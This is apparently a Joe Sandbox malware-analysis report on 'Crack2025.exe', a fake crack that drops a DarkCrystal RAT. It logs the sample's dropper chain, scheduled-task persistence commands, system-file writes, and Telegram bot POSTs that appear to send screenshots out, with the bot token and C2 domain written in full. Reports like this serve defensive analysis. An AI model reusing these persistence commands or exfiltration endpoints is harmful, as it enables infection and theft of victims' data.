
Source: Crack2025.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49740 version: TLS 1.2

Source: Crack2025.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: Crack2025.exe
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\zmghpwjx\zmghpwjx.pdb source: ComComponentRuntimeMonitor.exe, 00000009.00000002.1482451462.0000000002DF3000.00000004.00000800.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B4A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_00B4A69B
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B5C220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_00B5C220
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B6B348 FindFirstFileExA,	0_2_00B6B348

Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior

Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.5:49732 -> 172.67.159.138:80
Source: Network traffic	Suricata IDS: 1810009 - Severity 1 - Joe Security ANOMALY Telegram Send Photo : 192.168.2.5:49740 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810009 - Severity 1 - Joe Security ANOMALY Telegram Send Photo : 192.168.2.5:49728 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /country HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: POST /bot7756238957:AAHvV3zk_7YEKqo4UEP1y3YWBMYahxxWzGM/sendPhoto HTTP/1.1Content-Type: multipart/form-data; boundary="5eb2d835-abd6-4474-a3dd-17afeda6da5e"Host: api.telegram.orgContent-Length: 91505Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /country HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: POST /bot7756238957:AAHvV3zk_7YEKqo4UEP1y3YWBMYahxxWzGM/sendPhoto HTTP/1.1Content-Type: multipart/form-data; boundary="188a4226-8bbc-4d37-89a4-a0946ab71950"Host: api.telegram.orgContent-Length: 94182Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81

Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49739 -> 34.117.59.81:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49725 -> 34.117.59.81:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: 009383cm.nyashk.ru

Source: ComComponentRuntimeMonitor.exe, 00000009.00000002.1482451462.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: ComComponentRuntimeMonitor.exe, 00000009.00000002.1482451462.0000000002ED3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io
Source: ComComponentRuntimeMonitor.exe, 00000009.00000002.1482451462.0000000002DF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ComComponentRuntimeMonitor.exe, 00000009.00000002.1482451462.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: ComComponentRuntimeMonitor.exe, 00000009.00000002.1482451462.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, ComComponentRuntimeMonitor.exe, 00000009.00000002.1482140681.0000000000CD2000.00000002.00000001.01000000.00000000.sdmp, KbrbnaEo.log.9.dr	String found in binary or memory: https://api.telegram.org/bot
Source: ComComponentRuntimeMonitor.exe, 00000009.00000002.1482451462.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7756238957:AAHvV3zk_7YEKqo4UEP1y3YWBMYahxxWzGM/sendPhotoX
Source: ComComponentRuntimeMonitor.exe, 00000009.00000002.1482451462.0000000002EF8000.00000004.00000800.00020000.00000000.sdmp, ComComponentRuntimeMonitor.exe, 00000009.00000002.1482451462.0000000002EB8000.00000004.00000800.00020000.00000000.sdmp, ComComponentRuntimeMonitor.exe, 00000009.00000002.1482451462.0000000002ECE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io
Source: ComComponentRuntimeMonitor.exe, 00000009.00000002.1482140681.0000000000CD2000.00000002.00000001.01000000.00000000.sdmp, ComComponentRuntimeMonitor.exe, 00000009.00000002.1482451462.0000000002EB8000.00000004.00000800.00020000.00000000.sdmp, KbrbnaEo.log.9.dr	String found in binary or memory: https://ipinfo.io/country
Source: ComComponentRuntimeMonitor.exe, 00000009.00000002.1482140681.0000000000CD2000.00000002.00000001.01000000.00000000.sdmp, ComComponentRuntimeMonitor.exe, 00000009.00000002.1482451462.0000000002EB8000.00000004.00000800.00020000.00000000.sdmp, KbrbnaEo.log.9.dr	String found in binary or memory: https://ipinfo.io/ip

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File created: C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File created: C:\Windows\ShellExperiences\309f4f93f5dc84	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\CSCFA026A3CF3B54234ABC92E8882BC4427.TMP	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\SecurityHealthSystray.exe	Jump to behavior

Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B4848E	0_2_00B4848E
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B56CDC	0_2_00B56CDC
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B500B7	0_2_00B500B7
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B54088	0_2_00B54088
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B440FE	0_2_00B440FE
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B651C9	0_2_00B651C9
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B57153	0_2_00B57153
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B432F7	0_2_00B432F7
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B562CA	0_2_00B562CA
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B543BF	0_2_00B543BF
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B4C426	0_2_00B4C426
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B4F461	0_2_00B4F461
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B6D440	0_2_00B6D440
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B577EF	0_2_00B577EF
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B6D8EE	0_2_00B6D8EE
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B4286B	0_2_00B4286B
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B4E9B7	0_2_00B4E9B7
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B719F4	0_2_00B719F4
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B53E0B	0_2_00B53E0B
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B64F9A	0_2_00B64F9A
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B4EFE2	0_2_00B4EFE2
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 9_2_00007FF7C7A90D48	9_2_00007FF7C7A90D48
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 9_2_00007FF7C7A90E43	9_2_00007FF7C7A90E43
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 9_2_00007FF7C7E90AA6	9_2_00007FF7C7E90AA6
Source: C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe	Code function: 14_2_00007FF7C7AA0D48	14_2_00007FF7C7AA0D48
Source: C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe	Code function: 14_2_00007FF7C7AA0E43	14_2_00007FF7C7AA0E43
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Code function: 35_2_00007FF7C7AB0D48	35_2_00007FF7C7AB0D48
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Code function: 35_2_00007FF7C7AE0BEA	35_2_00007FF7C7AE0BEA
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Code function: 35_2_00007FF7C7AC1062	35_2_00007FF7C7AC1062
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Code function: 36_2_00007FF7C7AB0D48	36_2_00007FF7C7AB0D48
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 37_2_00007FF7C7AD0BEA	37_2_00007FF7C7AD0BEA
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 37_2_00007FF7C7AA0D48	37_2_00007FF7C7AA0D48
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 37_2_00007FF7C7AA0E43	37_2_00007FF7C7AA0E43
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 37_2_00007FF7C7AB1062	37_2_00007FF7C7AB1062
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 38_2_00007FF7C7AB1062	38_2_00007FF7C7AB1062
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 38_2_00007FF7C7AD0BEA	38_2_00007FF7C7AD0BEA
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 38_2_00007FF7C7AA0D48	38_2_00007FF7C7AA0D48
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 38_2_00007FF7C7AA0E43	38_2_00007FF7C7AA0E43
Source: C:\Users\Public\Pictures\Registry.exe	Code function: 39_2_00007FF7C7A90D48	39_2_00007FF7C7A90D48
Source: C:\Users\Public\Pictures\Registry.exe	Code function: 39_2_00007FF7C7A90E43	39_2_00007FF7C7A90E43
Source: C:\Users\Public\Pictures\Registry.exe	Code function: 39_2_00007FF7C7AC0BEA	39_2_00007FF7C7AC0BEA
Source: C:\Users\Public\Pictures\Registry.exe	Code function: 39_2_00007FF7C7AA1062	39_2_00007FF7C7AA1062
Source: C:\Users\Public\Pictures\Registry.exe	Code function: 40_2_00007FF7C7A80D48	40_2_00007FF7C7A80D48
Source: C:\Users\Public\Pictures\Registry.exe	Code function: 40_2_00007FF7C7A80E43	40_2_00007FF7C7A80E43

Source: C:\Users\user\Desktop\Crack2025.exe	Code function: String function: 00B5F5F0 appears 31 times
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: String function: 00B5EC50 appears 56 times
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: String function: 00B5EB78 appears 39 times

Source: ComComponentRuntimeMonitor.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: Registry.exe.9.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: smartscreen.exe.9.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: aePhPQ5epIOPbGayHv.exe.9.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: ShellExperienceHost.exe.9.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: xP1x1VNeIAPjWsHHYbBFNFY.exe.9.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\Public\Pictures\Registry.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8716:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8344:120:WilError_03
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-lyFL9C96UdpRArWkuUmQ

Source: C:\Users\user\Desktop\Crack2025.exe	Command line argument: sfxname	0_2_00B5DF1E
Source: C:\Users\user\Desktop\Crack2025.exe	Command line argument: sfxstime	0_2_00B5DF1E
Source: C:\Users\user\Desktop\Crack2025.exe	Command line argument: STARTDLG	0_2_00B5DF1E

Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: unknown	Process created: C:\Users\user\Desktop\Crack2025.exe "C:\Users\user\Desktop\Crack2025.exe"
Source: C:\Users\user\Desktop\Crack2025.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Crtsvc\4ATaaGAsjCFOWm7aY5r6I.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Crtsvc\wDGuVcXResLqCSg5nclCwVUnbT.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Crtsvc\ComComponentRuntimeMonitor.exe "C:\Crtsvc/ComComponentRuntimeMonitor.exe"
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "xP1x1VNeIAPjWsHHYbBFNFYx" /sc MINUTE /mo 9 /tr "'C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe'" /f
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "xP1x1VNeIAPjWsHHYbBFNFY" /sc ONLOGON /tr "'C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe'" /rl HIGHEST /f
Source: unknown	Process created: C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "xP1x1VNeIAPjWsHHYbBFNFYx" /sc MINUTE /mo 5 /tr "'C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe'" /rl HIGHEST /f
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zmghpwjx\zmghpwjx.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD4D5.tmp" "c:\Windows\System32\CSCFA026A3CF3B54234ABC92E8882BC4427.TMP"
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ShellExperienceHostS" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\Desktop\ShellExperienceHost.exe'" /f
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ShellExperienceHost" /sc ONLOGON /tr "'C:\Users\Default User\Desktop\ShellExperienceHost.exe'" /rl HIGHEST /f
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ShellExperienceHostS" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\Desktop\ShellExperienceHost.exe'" /rl HIGHEST /f
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "aePhPQ5epIOPbGayHva" /sc MINUTE /mo 10 /tr "'C:\Crtsvc\aePhPQ5epIOPbGayHv.exe'" /f
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "aePhPQ5epIOPbGayHv" /sc ONLOGON /tr "'C:\Crtsvc\aePhPQ5epIOPbGayHv.exe'" /rl HIGHEST /f
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "aePhPQ5epIOPbGayHva" /sc MINUTE /mo 8 /tr "'C:\Crtsvc\aePhPQ5epIOPbGayHv.exe'" /rl HIGHEST /f
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 13 /tr "'C:\Users\All Users\smartscreen.exe'" /f
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "smartscreen" /sc ONLOGON /tr "'C:\Users\All Users\smartscreen.exe'" /rl HIGHEST /f
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 9 /tr "'C:\Users\All Users\smartscreen.exe'" /rl HIGHEST /f
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 12 /tr "'C:\Users\Public\Pictures\Registry.exe'" /f
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Users\Public\Pictures\Registry.exe'" /rl HIGHEST /f
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 9 /tr "'C:\Users\Public\Pictures\Registry.exe'" /rl HIGHEST /f
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ComComponentRuntimeMonitorC" /sc MINUTE /mo 5 /tr "'C:\Crtsvc\ComComponentRuntimeMonitor.exe'" /f
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ComComponentRuntimeMonitor" /sc ONLOGON /tr "'C:\Crtsvc\ComComponentRuntimeMonitor.exe'" /rl HIGHEST /f
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ComComponentRuntimeMonitorC" /sc MINUTE /mo 6 /tr "'C:\Crtsvc\ComComponentRuntimeMonitor.exe'" /rl HIGHEST /f
Source: unknown	Process created: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe C:\Crtsvc\aePhPQ5epIOPbGayHv.exe
Source: unknown	Process created: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe C:\Crtsvc\aePhPQ5epIOPbGayHv.exe
Source: unknown	Process created: C:\Crtsvc\ComComponentRuntimeMonitor.exe C:\Crtsvc\ComComponentRuntimeMonitor.exe
Source: unknown	Process created: C:\Crtsvc\ComComponentRuntimeMonitor.exe C:\Crtsvc\ComComponentRuntimeMonitor.exe
Source: unknown	Process created: C:\Users\Public\Pictures\Registry.exe C:\Users\Public\Pictures\Registry.exe
Source: unknown	Process created: C:\Users\Public\Pictures\Registry.exe C:\Users\Public\Pictures\Registry.exe
Source: C:\Users\user\Desktop\Crack2025.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Crtsvc\4ATaaGAsjCFOWm7aY5r6I.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Crtsvc\wDGuVcXResLqCSg5nclCwVUnbT.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Crtsvc\ComComponentRuntimeMonitor.exe "C:\Crtsvc/ComComponentRuntimeMonitor.exe"	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zmghpwjx\zmghpwjx.cmdline"	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD4D5.tmp" "c:\Windows\System32\CSCFA026A3CF3B54234ABC92E8882BC4427.TMP"	Jump to behavior

Source: Crack2025.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Crack2025.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Crack2025.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Crack2025.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Crack2025.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Crack2025.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Crack2025.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
Crack2025.exe

Source: Crack2025.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
